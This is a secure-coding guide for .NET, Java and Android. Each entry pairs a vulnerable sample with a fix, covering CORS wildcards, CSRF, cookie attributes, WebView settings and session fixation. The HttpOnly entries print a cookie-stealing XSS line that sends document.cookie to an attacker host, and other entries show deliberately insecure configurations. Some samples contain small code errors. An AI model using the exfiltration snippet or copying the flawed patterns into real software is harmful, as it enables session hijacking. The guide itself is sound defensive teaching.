	In .NET the garbage collector reclaims the memory used by unmanaged objects, but types such as database APIs, that use unmanaged resources implement the *IDisposable* interface to allow this unmanaged memory to be reclaimed.
	
	The code below doesn't release any of the resources it takes upon an exception. However, APIs such as *StreamReader, Stream, StreamWriter* use stream resources and should be release properly.
	
	string url = "ftp://example.com/section.pdf";
	var request = (FtpWebRequest)WebRequest.Create(url);
	request.Method = WebRequestMethods.Ftp.DownloadFile;
	request.Credentials = new NetworkCredential ("anonymous","joe");
	
	var response = (FtpWebResponse)request.GetResponse();

	Stream responseStream = response.GetResponseStream();
	StreamReader reader = new StreamReader(responseStream);
	var text = reader.ReadToEnd();
	
	reader.Close();
	response.Close();

Mitigation	Releasing used stream resources is vital for the availability of the running application. In order to release stream resources (instead of a finally block) in a robust way is *using* keyword. The compiler generates appropriate try/finally blocks for us with the *using* keyword and calling related *Dispose* methods.
	
	string url = "ftp://example.com/section.pdf";
	using(var request = (FtpWebRequest)WebRequest.Create(url))
	{
	request.Method = WebRequestMethods.Ftp.DownloadFile;
	request.Credentials = new NetworkCredential ("anonymous","joe");
	using(var response = (FtpWebResponse)request.GetResponse())
	{
	Stream responseStream = response.GetResponseStream();
	StreamReader reader = new StreamReader(responseStream);
	var text = reader.ReadToEnd();
	...
	}
	}

References	• CWE-404 • HIPAA Security Rule 45 CFR 164.306(a)(1)

Unsafe Socket Resource Release

Title	Unsafe Socket Resource Release
Summary	Attackers can leave the application in an unresponsive state such as denial of service causing customers to wait for a long time
Severity	High
Cost Fix	Low
Trust Level	Medium
ID	

Description	Although getting richer every 18-months or so, computing environments have limited resources. These resources should be release after they are being used with success or failure in order to be used later on. Availability of a system depends on this.
	
	Unmanaged resources implement the *IDisposable* interface to allow reserved resources to be freed for further and future usages.
	
	The code below doesn't release socket networking resource it takes upon an exception. However, APIs such as *Socket* should be release properly.
	
	`IPEndPoint ipe = new IPEndPoint(address, port);`
	`var sock = new Socket(ipe.AddressFamily, SocketType.Stream, ProtocolType.Tcp);`
	
	`sock.Connect(ipe);`
	
	`if(sock.Connected)`
	`{`
	`  Byte[] bytesSent = Encoding.ASCII.GetBytes(request);`
	`  Byte[] bytesReceived = new Byte[256];`
	
	`  sock.Send(bytesSent, bytesSent.Length, 0);`
	`  int bytes = 0;`
	`  string output = "Output:\r\n";`
	
	`  do {`
	`  bytes = sock.Receive(bytesReceived, bytesReceived.Length, 0);`
	`  output += Encoding.ASCII.GetString(bytesReceived, 0, bytes);`
	`  }`
	`  while (bytes > 0);`
	
	`  sock.Close();`
	`  return output;`
	`}`

Mitigation	Releasing used socket resources is vital for the availability of the running application for future networking operations. In order to release socket resources (instead of a finally block) in a robust way is *using* keyword. The compiler generates appropriate try/finally blocks for us with the *using* keyword and calling related *Dispose* method.
	
	`IPEndPoint ipe = new IPEndPoint(address, port);`
	`using(var sock = new Socket(ipe.AddressFamily, SocketType.Stream, ProtocolType.Tcp))`
	`{`
	`  sock.Connect(ipe);`
	
	`  if(sock.Connected)`
	`  {`
	`  Byte[] bytesSent = Encoding.ASCII.GetBytes(request);`
	`  Byte[] bytesReceived = new Byte[256];`
	
	`  sock.Send(bytesSent, bytesSent.Length, 0);`

	int bytes = 0;
	string output = "Output:\r\n";
	
	do {
	bytes = sock.Receive(bytesReceived, bytesReceived.Length, 0);
	output += Encoding.ASCII.GetString(bytesReceived, 0, bytes);
	}
	while (bytes > 0);
	
	return output;
	}
	}

References	● CWE-404 ● HIPAA Security Rule 45 CFR 164.306(a)(1)

Insecure CORS Configuration

Title	Insecure CORS Configuration
Summary	The attacker can steal user-related information from the target web application in which the victim has an account
Severity	Critical
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET

Cross Origin Resource Sharing (CORS) has emerged as a reaction to Same Origin Policy (SOP) restriction applied by browsers onto the web applications.

Same Origin Policy dictates that a resource loaded from a domain A can't reach another resource on domain B if even one of the below criteria doesn't match;

- Protocol (https, http, data, ftp, etc.)
- FQDN (fully qualified domain name, including the subdomain)
- Port (80, 443, 8080, etc.)

Even though this is a very good security restriction that prevents random sites loaded in browser hijack users' sessions or steal their information, it is also too tight for developers who own two domains with different resources but still want to communicate through the browser.

Therefore, CORS implements that if domain B allows domain A to access him by XHR requests and be able to parse the response then it returns a header including domain A, as such;

```
Access-Control-Allow-Origin: www.alloweddomain.com
```

This header's value shouldn't be a wildcard character (*), otherwise, any domain in a browser can make a request to domain B and be able to parse the response without the consent of the browser user.

```
Access-Control-Allow-Origin: *
```

The code below configures CORS insecurely by using wildcard.

```
[EnableCors("*", "*", "*")]
public class WindowController : ApiController
{
  [EnableCors("*", null, "GET")]
  public HttpResponseMessage Get()
  {
            return Request.CreateResponse(HttpStatusCode.OK;
  }
  ...
```

Technology	JAVA

Cross Origin Resource Sharing (CORS) has emerged as a reaction to Same Origin Policy (SOP) restriction applied by browsers onto the web applications.

Same Origin Policy dictates that a resource loaded from a domain A can't reach another resource on domain B if even one of the below criteria doesn't match;

- Protocol (https, http, data, ftp, etc.)
- FQDN (fully qualified domain name, including the subdomain)
- Port (80, 443, 8080, etc.)

Even though this is a very good security restriction that prevents random sites loaded in browser hijack users' sessions or steal their information, it is also too tight for developers who own two domains with different resources but still want to communicate through the

browser.

Therefore, CORS implements that if domain B allows domain A to access him by XHR requests and be able to parse the response then it returns a header including domain A, as such;

```
Access-Control-Allow-Origin: www.alloweddomain.com
```

This header's value shouldn't be a wildcard character (*), otherwise, any domain in a browser can make a request to domain B and be able to parse the response without the consent of the browser user.

```
Access-Control-Allow-Origin: *
```

The code below configures CORS insecurely by using wildcard.

```
response.addHeader("Access-Control-Allow-Origin","*");
```

Yet another example for insecure CORS value using Spring MVC annotations.

```
@CrossOrigin(origins = "*", maxAge = 3600)
@Controller
public class BooksController {

  @RequestMapping(method = RequestMethod.POST)
  public String Check(Credentials credentials, HttpServletResponse response) {
            ...
            // return
  }
...
```

Mitigation

Technology	.NET

The CORS header value should be as restricted as possible. Below header value states to browser that only www.alloweddomain.com can access the response of domain B.

```
Access-Control-Allow-Origin: www.alloweddomain.com
```

```
public class WindowController : ApiController
{
  [EnableCors("http://www.alloweddomain.com", null, "GET")]
  public HttpResponseMessage Get()
  {
            return Request.CreateResponse(HttpStatusCode.OK;
  }
```

...	
Technology	JAVA

The CORS header value should be as restricted as possible. Below header value states to browser that only www.alloweddomain.com can access the response of domain B.
 	
Access-Control-Allow-Origin: www.alloweddomain.com
 	
response.addHeader("Access-Control-Allow-Origin","http://www.alloweddomain.com");
 	
or in Spring MVC;
 	
@CrossOrigin(origins = "http://www.alloweddomain.com", maxAge = 3600)
@Controller
public class BooksController {
 	
@RequestMapping(method = RequestMethod.POST)
public String Check(Credentials credentials, HttpServletResponse response) {
...
// return
}
...	

References	• CWE-284 • HIPAA Security Rule 45 CFR 164.306(a)(2) • OWASP Top 10 A6 • PCI DSS 6.5.6

Insecure X-XSS-Protection Configuration

Title	Insecure X-XSS-Protection Configuration
Summary	The attacker can leverage XSS in order to steal user-related information, steal end-users credentials by making application showing them fake, rouge interfaces or HTML
Severity	Low
Cost Fix	Low
Trust Level	High

ID	
Description	
Technology	.NET

IE 8 and onwards Microsoft uses X-XSS-Protection HTTP header value in order to prevent a few categories of XSS attacks dynamically. This client side prevention is supported in Chrome, Safari and Internet Explorer.

The aim of X-XSS-Protection in browsers adds up to; if a malicious input is being reflected in the HTML document, the reflected part will either be removed or the whole document will not be rendered. The browser may show a warning and won't allow certain javascript execution.

The default value of X-XSS-Protection is 1 (if it doesn't appear in HTTP response headers) and that means removing "unsafe" parts from the document returned.

The mechanism itself shortcomings from time to time; abusing false positives and possible bypasses.

However, sometimes, we developers find this behaviour of removing certain parts of the documents returned as "pesky", which leads to disabling the header effect by setting it to 0, as below;

```
Response.AppendHeader("X-XSS-Protection","0");
```

or in Web.config

```
<httpprotocol>
   <customheaders>
            <remove name="X-Powered-By">
            <add name="X-XSS-Protection" value="0"> </add>
            </remove>
   </customheaders>
</httpprotocol>
```

Technology	JAVA

IE 8 and onwards Microsoft uses X-XSS-Protection HTTP header value in order to prevent a few categories of XSS attacks dynamically. This client side prevention is supported in Chrome, Safari and Internet Explorer.

The aim of X-XSS-Protection in browsers adds up to; if a malicious input is being reflected in the HTML document, the reflected part will either be removed or the whole document will not be rendered. The browser may show a warning and won't allow certain javascript execution.

The default value of X-XSS-Protection is 1 (if it doesn't appear in HTTP response headers) and that means removing "unsafe" parts from the document returned.

The mechanism itself shortcomings from time to time; abusing false positives and possible bypasses.

However, sometimes, we developers find this behaviour of removing certain parts of the documents returned as “pesky”, which leads to disabling the header effect by setting it to 0, as below;

```
response.addHeader("X-XSS-Protection","0");
```

or in Web.config

```
<http>
  <headers>
    <xss-protection block="false"/>
  </headers>
</http>
```

Mitigation	
Technology	.NET
Albeit the X-XSS-Protection header has its own shortcomings disabling the header may leverage possible XSS attacks.	
Technology	JAVA
Albeit the X-XSS-Protection header has its own shortcomings disabling the header may leverage possible XSS attacks.	
References	● HIPAA Security Rule 45 CFR 164.306(a)(2) ● OWASP Top 10 A6 ● PCI DSS 6.5.6

Insecure WebView Settings

Title	Insecure WebView Settings
Summary	The malicious website can access local storage area, execute random Javascript in the context of the application
Severity	High
Cost Fix	Medium

Trust Level	Medium
ID	

Description

Technology	ANDROID

Android supports WebView component for an embedded browser capability to load external web sites inside the Activity interface. Some of the settings of WebView may leave the application vulnerable to authorization and injection problems such as loading local application files, cross site scripting etc.
The code below enables the execution of Javascript through the content loaded in WebView. If the provided URL is not trusted, malicious Javascript code can be executed. Coupled with accessing local file resources using *file:* scheme and with enough permissions, this vulnerability can lead to sensitive data theft.

```
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);

String extURL = getIntent().getStringExtra("URL");
webView.loadUrl(extURL);
```

Mitigation

Technology	ANDROID

Insecure settings for WebView component should be avoided. Most of the settings have default secure values, however, here are some of the settings that should be used cautiously.

- *setJavaScriptEnabled*: Tells the WebView to enable JavaScript execution
- *setPluginState*: Tells the WebView to enable, disable, or have plugins on demand. Disabled in Android API level 18
- *setAllowFileAccess*: Enables or disables file access within WebView. File access is enabled by default.
- *setAllowContentAccess*: Sets whether JavaScript running in the context of a file scheme URL should be allowed to access content from other file scheme URLs.

References	

- CWE-749
- CWE-922
- HIPAA Security Rule 45 CFR 164.312(a)(1)
- OWASP Top 10 M2
- PCI DSS 6.5.6
- DRD02-J

Insecure API Usage - Geolocation API

Title	Insecure API Usage - Geolocation API
Summary	The malicious websites can access the location of users without any consent
Severity	High
Cost Fix	Low
Trust Level	Medium
ID	

Description

Technology	ANDROID

Android browser can fetch physical location information of a user, however, it can't send this geolocation data to a remote server without the consent of the user itself. This requirement is W3C for all conforming user-agents.

In Android a web site content loaded through the WebView may get the geolocation information and the application code should ask for the permission of the user even the application already has the following Android permissions;

- android.permission.ACCESS_FINE_LOCATION
- android.permission.ACCESS_COARSE_LOCATION
- android.permission.INTERNET

If the content in the WebView asks for a permission to access geolocation information, *onGeolocationPermissionShowPrompt* method is called to show the prompt to the user. Overriding this method in order to bypass the exclusive permission prompt will not abide to W3C standards.

```
public void onGeolocationPermissionsShowPrompt(String origin, Callback callback) {
   callback.invoke(origin, true, false);
}
```

Mitigation

Technology	ANDROID

Conforming to W3C standard on requiring the user consent when accessing geolocation information is important and can be achieved by not overriding *onGeolocationPermissionShowPrompt* method or sending OK to callback method when the

user consent is taken.	
References	• CWE-359 • OWASP Top 10 M1 • PCI DSS 6.5.8 • DRD15-J

Session Management

Cross Site Request Forgery (CSRF)

Title	Cross Site Request Forgery (CSRF)
Summary	By leveraging the trust the user placed in a browser an attacker can execute authentic requests on behalf of the users without users knowing
Severity	Medium
Cost Fix	Medium
Trust Level	Low
ID	

Description

Technology	.NET

Browser is one of the mediums that is called a “confused deputy”. The reason for this name is because it can be tricked, via web pages, to send authentic requests to other applications living on other domain names without the user knowing this.

This is due to the trust that users have to place in browsers. Browsers also attach correct session ids (cookie values) to the requests. Complemented with this, if an attacker persuades a user to visit his/her web site, the attacker, through the use of certain HTML and Javascript code, can execute authentic HTTP GET/POST requests to another target application mimicking the user.

The risk is even higher for state changing server requests, which should almost always happen with non-GET HTTP method requests, such as HTTP POST.

```
public class PersonController : ApiController
{
        [HttpPost]
        public HttpResponseMessage Add(Person person)
        {
          // action code
        }
```

The code above utilizes [HttpPost] data annotation, however, doesn’t use [ValidateAntiForgeryToken] attribute, being open to CSRF attacks.

Technology	JAVA

Browser is one of the mediums that is called a “confused deputy”. The reason for this name is because it can be tricked, via web pages, to send authentic requests to other applications

living on other domain names without the user knowing this.

This is due to the trust that users have to place in browsers. Browsers also attach correct session ids (cookie values) to the requests. Complemented with this, if an attacker persuades a user to visit his/her web site, the attacker, through the use of certain HTML and Javascript code, can execute authentic HTTP GET/POST requests to another target application mimicking the user.

The risk is even higher for state changing server requests, which should almost always happen with non-GET HTTP method requests, such as HTTP POST.

```
@Controller
public class HomeController {
  ...

  @RequestMapping(value = "/addMessage", method = RequestMethod.POST)
  public ModelAndView addStudent(@ModelAttribute("SpringWeb")Message message, ModelMap model) {
            model.addAttribute("message", message.getValue());
            return new ModelAndView("index", "command", message);
  }
  ...
```

The code above denotes the action method to be used for POST request, however, the related spring security configuration files disables by default enabled CSRF protection;

```
<http>
  <csrf disabled="true"/>
</http>
```

Mitigation

Technology	.NET

There are various ways of preventing against CSRF attacks;

- Use of One Time Passwords
- Use of CAPTCHA
- Use of Synchronizer Tokens
- Use of Web 2.0 Origin HTTP headers

Generally though, the application code should validate each state changing server request by using synchronizer token mechanism. Synchronizer token mechanism ensures that the application forms that the user is presented in the browser contains a unique, random and hard to guess token. When the user actually takes action to send this form, the unique token is sent to the application server which already keeps a copy of it. By comparing these tokens, the application understands that the forms is submitted by the right user on his/her consent.

```
public class PersonController : ApiController
{
            [HttpPost]
            [ValidateAntiForgeryToken]
            public HttpResponseMessage Add(Person person)
            {
```

```
        // action code
    }
```

The code above uses AntiValidateForgeryToken validation Action attribute for checking whether a synchronizer token exists in the request or not. In order to place this token in a form the below code should be used in the related view;

```
<p>
  <%= Html.AntiForgeryToken() %>
  <input type="submit" value="Delete" />
</p>
```

For WebForms the usage of Page.ViewStateUserKey is the key to ensure that the view generated by the application for the specific user is now unique and an attacker can't generate and execute a valid HTTP request including the user unique viewstate key.

Technology	JAVA

There are various ways of preventing against CSRF attacks;

- Use of One Time Passwords
- Use of CAPTCHA
- Use of Synchronizer Tokens
- Use of Web 2.0 Origin HTTP headers

Generally though, the application code should validate each state changing server request by using synchronizer token mechanism. Synchronizer token mechanism ensures that the application forms that the user is presented in the browser contains a unique, random and hard to guess token. When the user actually takes action to send this form, the unique token is sent to the application server which already keeps a copy of it. By comparing these tokens, the application understands that the forms is submitted by the right user on his/her consent.

The Spring security enables CSRF protection by default. In order to place synchronizer token in a form the below code should be used in the related view;

```
<form:form method="POST" action="addMessage">
  <table>
    <tr>
      <td><form:label path="value">Message</form:label></td>
      <td><form:input path="value"/></td>
    </tr>
    <tr>
      <td colspan="2">
        <input type="submit" value="Submit"/>
      </td>
    </tr>
  </table>
  <input type="hidden" name="${_csrf.parameterName}" value="${_csrf.token}"/>
</form:form>
```

References	

- CWE-352
- HIPAA Security Rule 45 CFR 164.306(a)(1)
- HIPAA Security Rule 45 CFR 164.306(a)(2)

	• OWASP Top 10 A8 • PCI DSS 6.5.9

Missing HttpOnly Cookie Attribute

Title	Missing HttpOnly Cookie Attribute
Summary	The attacker may be able to steal session ids or critical cookie values in cleartext by executing Javascript in client's browser.
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET

HttpOnly is first implemented into Internet Explorer 6 by Microsoft in 2002 to protect client's session ids, traveling through cookies, from stolen by the attacker using javascript utilizing Cross Site Scripting (XSS) vulnerability.

By using XSS if an adversary manages to execute the below Javascript in client's browser, then he is able to steal the client's cookies which also contain unique session ids that uniquely identifies the client after authentication.

```
i = new Image();
c = document.cookie;
i.src =  “http://www.attacker.com/steal?c=” + c;
```

This vulnerability is also called Session Hijacking. There may be two ways of creating cookies containing session identifiers. Here's the coding style;

```
HttpCookie cookie = new HttpCookie("SessionID", token);
cookie.HttpOnly = false;
Response.Cookies.Add(cookie);
```

And here's the configuration style;

```
<configuration>
   <system.web>
      <httpCookies httpOnlyCookies="false">
```

None of the styles include or set HttpOnly attribute on the cookies they formed.

Technology	JAVA

HttpOnly is first implemented into Internet Explorer 6 by Microsoft in 2002 to protect client's session ids, traveling through cookies, from stolen by the attacker using javascript utilizing Cross Site Scripting (XSS) vulnerability.

By using XSS if an adversary manages to execute the below Javascript in client's browser, then he is able to steal the client's cookies which also contain unique session ids that uniquely identifies the client after authentication.

```
i = new Image();
c = document.cookie;
i.src =  "http://www.attacker.com/steal?c=" + c;
```

This vulnerability is also called Session Hijacking. There may be two ways of creating cookies containing session identifiers. Here's the coding style;

```
Cookie cookie = new Cookie("mycookie");
cookie.setValue("myvalue");
cookie.setHttpOnly(false);
response.addCookie(userCookie);
```

And here's the configuration style in web.xml for session cookies for Servlet 3.0 and upwards;

```
<session-config>
 <cookie-config>
  <http-only>false</http-only>
 </cookie-config>
</session-config>
```

Mitigation

Technology	.NET

The mitigated coding styles follow, here's the coding style (.NET 2.0 and onwards);

```
HttpCookie cookie = new HttpCookie("SessionID", token);
```

```
cookie.HttpOnly = true;
Response.Cookies.Add(cookie);
```

And here's the configuration style;

```
<configuration>
   <system.web>
      <httpCookies httpOnlyCookies="true">
```

Technology	JAVA

The mitigated coding styles follow, here's the coding style (JEE 6.0 and onwards);

```
Cookie cookie = new Cookie("mycookie");
cookie.setValue("myvalue");
cookie.setHttpOnly(true);
response.addCookie(userCookie);
```

And here's the configuration style for Servlet 3.0 and upwards;

```
<session-config>
 <cookie-config>
  <http-only>true</http-only>
 </cookie-config>
</session-config>
```

References	• HIPAA Security Rule 45 CFR 164.306(a)(2) • OWASP Top 10 A6 • PCI DSS 6.5.6

Missing Secure Cookie Attribute

Title	Missing Secure Cookie Attribute
Summary	The attacker may be able to steal session ids or critical cookie values in cleartext by forcing the client's browser to use HTTP instead of HTTPS.
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	

Description	
Technology	.NET

Authenticated Session IDs, which is given to a user after a successful authentication attempt, uniquely identifies the related user and are travelled through HTTP Cookies. These cookies are present at every HTTP request thereafter to make sure that the requester is the user that was previously authenticated.

Therefore, if an adversary intercepts any of the HTTP requests between the victim user's browser and the target server, he may be able to steal the session cookie and pose as the victim itself.

The main protection against such a man in the middle attack is using SSL (HTTPS) with valid certificates at the server side. If SSL is used and the attacker intercepts the traffic, he won't be able to decrypt the messages (and session cookie). However, if somehow the web application contains both HTTP and HTTPS links or assets, which is called mixed content, then when the user clicks an HTTP link after authentication, the session cookie will travel to the target web application on an HTTP traffic. And a traffic intercepting adversary can easily steal cookies in plaintext.

Here's a code that might using custom cookies as a session identifier.

```
HttpCookie cookie = new HttpCookie("SessionID", token);
cookie.Secure = false;
Response.Cookies.Add(cookie);
```

Or here's a http cookie configuration;

```
<configuration>
   <system.web>
      <httpCookies requiressl="false">
```

Technology	JAVA

Authenticated Session IDs, which is given to a user after a successful authentication attempt, uniquely identifies the related user and are travelled through HTTP Cookies. These cookies are present at every HTTP request thereafter to make sure that the requester is the user that was previously authenticated.

Therefore, if an adversary intercepts any of the HTTP requests between the victim user's browser and the target server, he may be able to steal the session cookie and pose as the victim itself.

The main protection against such a man in the middle attack is using SSL (HTTPS) with valid certificates at the server side. If SSL is used and the attacker intercepts the traffic, he won't be able to decrypt the messages (and session cookie). However, if somehow the web application contains both HTTP and HTTPS links or assets, which is called mixed content, then when the user clicks an HTTP link after authentication, the session cookie will travel to the target web application on an HTTP traffic. And a traffic intercepting adversary can easily steal cookies in plaintext.

Here's a code that might using custom cookies as a session identifier.

```
Cookie cookie = new Cookie("mycookie");
cookie.setSecure(false);
```

And here's the configuration style in web.xml for session cookies for Servlet 3.0 and upwards;

```
<session-config>
 <cookie-config>
  <secure>false</secure>
 </cookie-config>
</session-config>
```

Mitigation

Technology	.NET

Most of the browsers support Secure cookie attribute in order to prevent addition of such cookies into the HTTP requests. Cookies that are adorned with Secure attribute can only travel through HTTPS requests. And man in the middle attackers can't decrypt encrypted HTTP traffic to steal session cookies.

The mitigated coding styles follow, here's the coding style (.NET 2.0 and onwards);

```
HttpCookie cookie = new HttpCookie("SessionID", token);
cookie.Secure = true;
Response.Cookies.Add(cookie);
```

And here's the configuration style;

```
<configuration>
   <system.web>
      <httpCookies requiressl="true">
```

Technology	JAVA

Most of the browsers support Secure cookie attribute in order to prevent addition of such cookies into the HTTP requests. Cookies that are adorned with Secure attribute can only travel through HTTPS requests. And man in the middle attackers can't decrypt encrypted HTTP traffic to steal session cookies.
 	
The mitigated coding styles follow, here's the coding style (JEE 6.0 and onwards);
 	
`Cookie cookie = new Cookie("mycookie");`
`cookie.setSecure(true);`
 	
And here's the configuration style for Servlet 3.0 and upwards;
 	
`<session-config>`
`<cookie-config>`
`<secure>true</secure>`
`</cookie-config>`
`</session-config>`	

References	• CWE-614 • HIPAA Security Rule 45 CFR 164.306(a)(2) • HIPAA Security Rule 45 CFR 164.312(e)(2)(ii) • OWASP Top 10 A6 • PCI DSS 6.5.10

Using Non-Serializable Object In Session

Title	Using Non-Serializable Object in Session
Summary	The server state may go unreliable being not able to save the user sessions
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	
Description	

Technology	.NET

The session in server memory is implemented to store server-side variables that are wanted to be accessed through multiple requests of the related users.

The objects in the session may be any type including instances of custom implemented classes. When the memory reserved for the sessions is not enough, it is a popular implementation to use persistent storage for these objects. This means marshalling and unmarshalling these objects at runtime.

In order to be able to marshall an object it and all of its cascading property objects should implement ISerializable interface. When the session object (HttpSessionState) includes a custom object not implementing Serializable interface marshalling and then the persistent storage fails putting the application in an unreliable state.

Technology	JAVA

The session in server memory is implemented to store server-side variables that are wanted to be accessed through multiple requests of the related users.

The objects in the session may be any type including instances of custom implemented classes. When the memory reserved for the sessions is not enough, it is a popular implementation to use persistent storage for these objects. This means marshalling and unmarshalling these objects at runtime.

In order to be able to marshall an object it and all of its cascading property objects should implement ISerializable interface. When the session object (HttpSessionState) includes a custom object not implementing Serializable interface marshalling and then the persistent storage fails putting the application in an unreliable state.

Mitigation

Technology	.NET

The classes whose instances are being stored in session should implement ISerializable interface. Assuming the class definition below will be instantiated and the instance will be stored in HttpSessionState, the implementation implements ISerializable interface.

```
[Serializable]
public class User : ISerializable
{
   [DataMember]
   private string username;
```

```
    public User(string username)
    {
        this.username = username;
    }

    public string GetUsername()
    {
        return username;
    }

    protected virtual void GetObjectData(SerializationInfo info,
                                         StreamingContext context)
    {
        info.AddValue("username", username);
    }
}
```

Technology	JAVA

The classes whose instances are being stored in session should implement *java.io.Serializable* interface. Assuming the class definition below will be instantiated and the instance will be stored in *javax.servlet.http.HttpSession*, the implementation implements *java.io.Serializable* interface. It's important to note and remember that member classes, the Owner and the Product, should also implement this interface.

```
public class Cart implements java.io.Serializable{
   String Id;
   DateTime creationDate;
   Owner owner;
   Product product;
   ...
}

@Controller
public class CartController {

  @RequestMapping(method = RequestMethod.POST)
  public String Add(Owner owner, Product product) {
            HttpServletRequest request = ((ServletRequestAttributes)
                                          RequestContextHolder.getRequestAttributes()).getRequest();
            HttpSession session = request.getSession(true);
            Cart cart = new Cart(owner, product);
            session.setAttribute("cart", cart);
  }
}
```

References	• CWE-485 • CWE-579

Session Fixation

Title	Session Fixation
Summary	The attacker may enter into the application posing as victim, by forcing the victim to authenticate his session cookie
Severity	High
Cost Fix	Low
Trust Level	Low
ID	

Description	Session fixation is a weakness that stems from validating the session of a user through login process without changing the existing session identifier. As a side note, session identifiers are used by the application as cookies to remember visiting users since HTTP is not a stateful mechanism.
	
	The code below checks the credentials sent by the user. If the credentials are correct, then Session is marked as authenticated. However, no change is done to the session identifier (cookie).
	
	`public class AccountController`
	`{`
	`  [HttpPost]`
	`  public HttpResponseMessage Login(Credentials credentials)`
	`  {`
	`  // check credentials form a token`
	`  User user = Authenticator.validate(credentials)`
	`  if(user.IsValid()){`
	`  Session[“login”] = user;`
	`  // redirect to internal page`
	`  }`
	`  // return error`
	`  }`
	`…`
	
	If, actually, it was the attacker that persuaded the victim to click a link and go to the application for authentication, he/she has the same session identifier (cookie), too. That means after a valid authentication, since the session identifier doesn’t change, the attacker can also login into the application without knowing the victim’s credentials.

	The persuasion of the victim through a link is possible if the web.config contains the ability to give the application and the users to use cookieless states. <configuration> <system.web> <sessionState cookieless="true" /> … or <configuration> <system.web> <authentication> <forms cookieless="UseUri" … > ... When this configuration directive is true then the users can use the application without enabling the cookie mechanism of their browsers. However, this also, led attackers to be able to prepare links for their victims such as; http://vunlnerable.com/myapp/(S(h9a1s723jfsad83kak373))/login.aspx Other possible vulnerable values (for ASP.NET 2.0 and onwards) for cookieless attribute are; ● UseUri ● UseDeviceProfile ● AutoDetect
Mitigation	Rarely found in the wild, however, in order to prevent Session Fixation attacks to most important thing is to make sure that login process changes the session identifier. There are more than one ways to achieve this in ASP.NET applications and one of which is to use *Session.Abandon* right after the authentication, which invalidates the current session and changes the identifier; Session.Abandon(); Response.Cookies.Add(new HttpCookie("ASP.NET_SessionId", "")); Response.Redirect(Request.Path); Another alternative is to use internal ASP.NET Forms Authentication mechanism and let it change the identifier automatically once the login process validates the credentials. One another alternative, albeit, not a sound one is to deactive support for cookieless session states; <configuration> <system.web> <sessionState cookieless="false" /> ...

References	• CWE-384 • HIPAA Security Rule 45 CFR 164.306(a)(2) • HIPAA Security Rule 45 CFR 164.312(d) • OWASP Top 10 A2 • PCI DSS 6.5.10